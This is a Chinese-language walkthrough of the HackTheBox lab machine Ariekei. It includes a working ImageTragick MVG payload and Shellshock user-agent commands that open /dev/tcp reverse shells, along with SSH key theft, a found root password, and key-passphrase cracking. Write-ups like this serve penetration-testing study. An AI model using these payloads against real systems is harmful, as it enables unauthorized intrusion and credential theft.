1. 程式人生 > 實用技巧 >HTB-靶機-Ariekei

HTB-靶機-Ariekei

本篇文章僅用於技術交流學習和研究的目的,嚴禁使用文章中的技術用於非法目的和破壞,否則造成一切後果與發表本文章的作者無關

靶機是作者購買VIP使用退役靶機操作,顯示IP地址為10.10.10.65

本次使用https://github.com/Tib3rius/AutoRecon 進行自動化全方位掃描

執行命令autorecon 10.10.10.65 -o ./Ariekei-autorecon

有用的掃描結果:

根據上面掃描結果發現存在cgi-bin目錄,但是訪問顯示403,於是在此基礎上再次進行爆破,命令如下

gobuster dir -k -e -u https://ariekei.htb/cgi-bin/ -t 500 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -o ./ariekei-bmfx-gobuster

得到如下結果

訪問對應地址

可確認存在shelshock漏洞,嘗試手工驗證一下

但結果顯示的不是想要的,可能有WAF,先放著看看上面得出來的域名,試試爆破看看

gobuster dir -k -e -u https://calvin.ariekei.htb -t 500 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -o ./calvin-bmfx-gobuster
gobuster dir -k -e -u https://beehive.ariekei.htb -t 500 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -o ./beehive-bmfx-gobuster

使用上面兩個命令快速爆破出來這兩個域名對應存在的目錄

先訪問upload,因為看到這個總感覺簡單一些上傳一下就搞定的感覺

標題是圖片轉換,根據經驗猜測可能有imagetragick漏洞,相應的漏洞資訊參考:https://imagetragick.com/

利用方式如下:

將下面程式碼儲存為bmfx.mgv

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|setsid /bin/bash -i >/dev/tcp/10.10.14.5/8833 0<&1 2>&1")'ms
pop graphic-context

成功反彈shell

翻看了家目錄和執行一些操作,發現限制很多,這並不是真正的目標靶機,但是發現如下資訊

猜測當前獲得的shell可能是docker環境,然後根據上面的提示目錄翻看,得到如下

可以確認就是dockers環境了,再檢視下隱藏檔案,還真有,發現了重要資訊

將上述金鑰儲存文件給600許可權連線過去,上述在插一句,這裡是可以將得到的反彈shell升級成為tty-shell,步驟如下:

得到上述按照套路執行fg就會像如上一樣的結果,此時我們可以如下操作

然後執行reset即可得到tty-shell ;

我們繼續上面的來,得到金鑰儲存到本地之後,根據上面給出的配置docker環境及網路指令碼得知大概的網路拓撲結構,對映的埠及IP地址,所以我們連線目標對映的1022埠

ssh -i ariekei_id.rsa 10.10.10.65 -p 1022 -l root

得知我們上面爆破出來的兩個域名,是反向代理配置,對應域名是docker環境下的IP地址

從上面我們就可以得知了,目標對外開放的兩個域名對應的web應用都是docker環境,通過WAF反向代理出來,供我們訪問,上面我們已經拿下了域名calvin.ariekei.htb ,而另一個域名beehive.ariekei.htb 因為剛開始想利用shellshock但是被WAF攔截了,所以我們此時想繞過WAF,拿下此目標就直接在calvin這臺docker機器上進行利用即可,然後目前遇到的問題是docker機器命令很少,限制很多,不過沒關係,確認當前獲得的許可權含有python,那麼可以使用python進行反彈,這裡使用手動的curl方式,但是沒有curl命令,使用wget驗證可以成功驗證漏洞可以執行命令,但是不能反彈shell

wget --user-agent='() { :; }; /bin/bash -i > /dev/tcp/172.23.0.253/8833 0<&1 2>&1' http://172.24.0.2/cgi-bin/stats

這裡我是沒有成功,大家可以測試下,我看到網上很多列舉的方法是在這裡就通過ssh進行埠轉發,將目標的埠都映射出去,然後從kali本地進行利用,這種方式我覺得比較繁瑣,我是直接使用自定義好的exploit,在目標靶機上成功反彈shell

對應利用shellshock的指令碼:https://github.com/nccgroup/shocker

利用方式:
python shocker.py -H 172.24.0.2 --command "/bin/bash -i > /dev/tcp/172.24.0.253/8833 0<&1 2>&1" -c /cgi-bin/stats

成功在目標靶機上反彈shell,並且升級為tty-shell

下面是對應的升級為tty-shell的操作的兩種方式,她們可以交叉使用

非 python環境tty-shell
script /dev/null -c bash
在鍵盤上按住Ctrl+Z
stty raw -echo
fg
reset
會讓你輸入型別,輸入:xterm
echo $TERM(檢視型別,可以不執行)
export TERM=xterm
export SHELL=bash
stty rows 54 columns 104  (得到這個是在本地kali執行 stty -a所獲得)

獲取tty-shell

/bin/bash -i
export TERM=xterm-256color
SHELL=/bin/bash script -q /dev/null
# ctrl+z to background channel
# background meterpreter session
stty raw -echo
reset
reset
# go back to meterpreter session and channel
reset

成功登入到另一個目標靶機系統看了下許可權還是很受限制,還是看不了user.txt

此時想到上面獲取第一臺目標靶機的docker環境中有root的密碼,對應資訊是:root:Ib3!kTEvYw6*P7s

使用su直接切換至root賬戶

使用root許可權成功進入到目標靶機環境的ssh目錄,獲取了對應的公鑰和私鑰

複製其私鑰儲存到本地kali中,看私鑰是設定了私鑰的密碼,我們是john通過密碼字典進行破解下,破解之前先轉換

得到了私鑰的密碼,直接使用使用者spanishdancer進行登入

再次確認此時登入的靶機是否是宿主機

看到了我們最終的IP地址為10.10.10.65,可以確認現在就是真正的宿主機了,不是docker環境,準備開始提權了,看了當前docker含有哪些映象,發現bash進行可以提權,參考連結:https://fosterelli.co/privilege-escalation-via-docker.html